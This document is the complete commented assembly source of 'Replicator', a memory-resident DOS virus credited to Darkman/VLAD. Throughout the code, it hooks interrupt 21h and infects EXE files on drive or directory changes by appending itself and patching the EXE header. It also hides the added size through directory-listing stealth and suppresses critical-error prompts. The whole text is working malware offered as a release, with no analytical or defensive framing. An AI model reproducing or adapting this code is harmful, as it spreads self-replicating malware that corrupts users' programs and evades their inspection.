; Darkman/VLAD ; Proudly Presents ; R E P L I C A T O R ; - Thanks to Bugsy/OBSESSiON for the help - replicator segment assume cs:replicator,ds:replicator,es:replicator org 00h code: call viruscode viruscode: pop bp ; Load BP from stack sub bp,offset viruscode ; BP = delta offset push ds ; Save DS at stack push es ; Save ES at stack mov ax,6304h ; Replicator service int 21h ; Do it! cmp ax,bx ; Already resident? je repexit ; Equal? Jump to repexit mov ax,es dec ax ; Decrease AX mov ds,ax ; DS = segment of programs MCB cmp byte ptr ds:[00h],'Z' jne repexit ; Not last in chain? Jump to repexit sub word ptr ds:[03h],(memoryend-code+0fh)/10h sub word ptr ds:[12h],(memoryend-code+0fh)/10h add ax,ds:[03h] ; AX = MCB + size of memory block inc ax ; AX = first usable MCB segment cld ; Clear direction flag push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov es,ax ; ES = first usable program segment mov cx,(codeend-code) ; Move 651 bytes xor di,di ; Clear DI lea si,[bp+code] ; SI = offset of code rep movsb ; Move virus to high memory xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table xchg ax,ds:[21h*04h] ; Load and store offset of INT 21h mov es:[int21off],ax ; Store offset of INT 21h mov ax,1eh ; AX = segment of hole in memory xchg ax,ds:[21h*04h+02h] ; Load and store segment of INT 21h mov es:[int21seg],ax ; Store segment of INT 21h mov byte ptr ds:[1e0h],0eah mov word ptr ds:[1e1h],offset virusint21 mov ds:[1e3h],es ; Store segment of virusint21 repexit: pop es ; Load ES from stack pop ds ; Load DS from stack mov ax,es add ax,10h ; Beginning of EXE file add word ptr cs:[bp+csip+02h],ax cli ; Clear interrupt-enable flag mov sp,word ptr cs:[bp+sssp] add ax,word ptr cs:[bp+sssp+02h] mov ss,ax sti ; Store interrupt-enable flag xor ax,ax ; Clear AX mov bx,ax ; Clear BX mov cx,ax ; Clear CX mov dx,ax ; Clear DX mov di,ax ; Clear DI mov si,ax ; Clear SI mov bp,ax ; Clear BP jmp $+02h ; Flush prefetch queue db 0eah ; Object code of jump far csip dd 0fff00000h ; CS:IP of infected file sssp dd ? ; SS:SP of infected file virusint21 proc near ; Interrupt 21h of Replicator cmp ax,6304h ; Replicator service? je repservice ; Equal? Jump to repservice cmp ah,0eh ; Select default drive? je setupfind ; Equal? Jump to setupfind cmp ah,3bh ; Change directory? je setupfind ; Equal? Jump to setupfind cmp ah,4eh ; Find first matching file (DTA)? je dtastealth ; Equal? Jump to dtastealth cmp ah,4fh ; Find next matching file (DTA)? je dtastealth ; Equal? Jump to dtastealth cmp ah,11h ; Find first matching file (FCB)? je fcbstealth ; Equal? Jump to fcbstealth cmp ah,12h ; Find next matching file (FCB)? je fcbstealth ; Equal? Jump to fcbstealth jmp int21exit setupfind: popf ; Load flags from stack pushf ; Save falgs at stack call simint21 push ax ; Save AX at stack push bx ; Save BX at stack push cx ; Save CX at stack push dx ; Save DX at stack push di ; Save DI at stack push si ; Save SI at stack push ds ; Save DS at stack push es ; Save ES at stack pushf ; Save flags at stack mov ah,2fh ; Get disk transfer address call simint21 ; Do it! push bx ; Save BX at stack push es ; Save ES at stack mov ah,1ah ; Set disk transfer address lea dx,dta ; DX = offset of dta push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call simint21 ; Do it! mov ah,4eh ; Find first matching file (DTA) mov cx,27h ; Set file attribute lea dx,filespec ; DX = offset of filespec findnext: call simint21 ; Do it! jc nomorefiles ; Error? Jump to nomorefiles cmp filedate,0022h ; Allready infected? je dontinfect ; Equal? Jump to dontinfect call infectfile dontinfect: mov ah,4fh ; Find next matching file (DTA) jmp findnext nomorefiles: pop ds ; Load DS from stack pop dx ; Load DX from stack mov ah,1ah ; Set disk transfer address call simint21 ; Do it! popf ; Load flags from stack pop es ; Load ES from stack pop ds ; Load DS from stack pop si ; Load SI from stack pop di ; Load DI from stack pop dx ; Load DX from stack pop cx ; Load CX from stack pop bx ; Load BX from stack pop ax ; Load AX from stack retf 02h ; Return far and pop a word! int21exit: jmp dword ptr cs:int21off repservice: mov bx,ax iret ; Interrupt return! dtastealth: call simint21 pushf ; Save flags at stack jc stealthexit ; Error? Jump to stealthexit push ax ; Save AX at stack push bx ; Save BX at stack push es ; Save ES at stack mov ah,2fh ; Get disk transfer address call simint21 cmp word ptr es:[bx+18h],0022h jne dontstealth ; Not equal? Jump to dontstealth add bx,1ah ; BX = offset of file size jmp stealth fcbstealth: call simint21 pushf ; Save flags at stack or al,al ; File name match found? jne stealthexit ; Not equal? Jump to stealthexit push ax ; Save AX at stack push bx ; Save BX at stack push es ; Save ES at stack mov ah,2fh ; Get disk transfer address call simint21 cmp byte ptr es:[bx],0ffh jne notextended ; Not equal? Jump to notextended add bx,07h ; SI = offset of normal FCB notextended: cmp word ptr es:[bx+19h],0022h jne dontstealth ; Not equal? Jump to dontstealth add bx,1dh ; BX = offset of file size stealth: sub es:[bx],(codeend-code) sbb word ptr es:[bx],00h dontstealth: pop es ; Load ES from stack pop ax ; Load AX from stack pop bx ; Load BX from stack stealthexit: popf ; Load flags from stack retf 02h ; Return far and pop a word! endp infectfile proc near ; Infect a EXE file xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table push ds:[24h*04h] ; Save INT 24h offset at stack push ds:[24h*04h+02h] ; Save INT 24h segment at stack mov word ptr ds:[24h*04h],offset virusint24 mov ds:[24h*04h+02h],cs ; Intercept interrupt 24h mov ax,3d00h ; Open file (read) lea dx,filename ; DX = offset of filename push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call simint21 ; Do it! xchg ax,bx ; Exchange AX with BX mov ax,1220h ; Get system file table number int 2fh ; Do it! (multiplex) push bx ; Save BX at stack mov ax,1216h ; Get address of system FCB mov bl,es:[di] ; BL = system file table entry int 2fh ; Do it! (multiplex) pop bx ; Load BX from stack mov byte ptr es:[di+02h],02h mov ah,3fh ; Read from file mov cx,19h ; Read 25 bytes lea dx,exeheader ; DX = offset of exeheader mov si,dx call simint21 ; Do it! cmp word ptr [si],'MZ' ; EXE file? je infect ; Equal? Jump to infect cmp word ptr [si],'ZM' ; EXE file? je infect ; Equal? Jump to infect jmp closefile infect: mov ax,4202h ; Move file pointer to the end cwd ; Clear DX mov cx,dx ; Clear CX call simint21 ; Do it! push bx ; Save BX at stack mov bx,ax mov cx,dx cmp word ptr [si+02h],00h je dontdecpage ; Equal? Jump to dontdecpage dec word ptr [si+04h] ; Decrease pages in file dontdecpage: mov ax,200h mul word ptr [si+04h] ; Divide by pages add ax,[si+02h] ; Add bytes on last page adc dx,00h ; Convert to 32 bit cmp ax,bx ; Internal overlay? pop bx ; Load bytes from stack jne closefile ; Not equal? Jump to closefile cmp cx,dx ; Internal overlay? jne closefile ; Not equal? Jump to closefile cmp byte ptr [si+18h],40h je closefile ; Windows file? Jump to closefile push ax ; Save AX at stack push dx ; Save DX at stack push si ; Save SI at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) add si,0eh ; SI = offset of SS:SP lea di,sssp ; DI = offset of sssp movsw ; Store original SP movsw ; Store original SS inc si ; SI = offset of CS:IP \ inc si ; " " " " " / lea di,csip ; DI = offset of csip movsw ; Store original IP movsw ; Store original CS pop si ; Load SI from stack mov cx,10h div cx ; Convert bytes to paragraphs sub ax,word ptr [si+08h] mov word ptr [si+14h],dx mov word ptr [si+16h],ax add ax,(memoryend-code+0fh)/10h mov word ptr [si+0eh],ax pop dx ; Load DX from stack pop ax ; Load AX from stack add ax,(codeend-code) ; Add the length of the virus adc dx,00h ; Convert to 32 bit mov cx,200h div cx ; Divide by pages or dx,dx ; No bytes on last page? je dontincpage ; Equal? Jump to dontincpage inc ax ; Increase AX dontincpage: mov word ptr [si+04h],ax mov word ptr [si+02h],dx mov ah,40h ; Write to file mov cx,(codeend-code) ; Write 651 bytes cwd ; DX = offset of code call simint21 ; Do it! mov ax,4200h ; Move file pointer to the beginning cwd ; Clear DX mov cx,dx ; Clear CX call simint21 ; Do it! mov ah,40h ; Write to file mov cx,18h ; Write 29 bytes mov dx,si ; DX = offset of exeheader call simint21 ; Do it! mov ax,5701h ; Set file's date and time mov cx,filetime ; Restore original file time mov dx,0022h ; Set infection marker call simint21 ; Do it! closefile: mov ah,3eh ; Close file call simint21 ; Do it! xor ax,ax ; Clear AX mov es,ax ; ES = segment of interrupt table pop es:[24h*04h] ; Save INT 24h offset at stack pop es:[24h*04h+02h] ; Save INT 24h segment at stack ret ; Return! endp virusint24 proc near ; Interrupt 24h of Replicator mov al,3 ; Fail system call in progress iret ; Interrupt return! endp simint21 proc near ; Simulate interrupt 21h pushf ; Save flags at stack callfar db 9ah ; Object code of a far call int21off dw ? ; Offset of interrupt 21h int21seg dw ? ; Segment of interrupt 21h ret ; Return! endp filespec db '*.EXE',00h ; File specification virusname db '[Replicator] ' ; Name of the virus virusauthor db '[Darkman/VLAD]' ; Author of the virus codeend: exeheader db 19h dup(?) ; EXE header dta: db 15h dup(?) ; Used by DOS for find next-process fileattr db ? ; File attribute filetime dw ? ; File time filedate dw ? ; File date filesize dd ? ; File size filename db 0dh dup(?) ; File name memoryend: replicator ends end code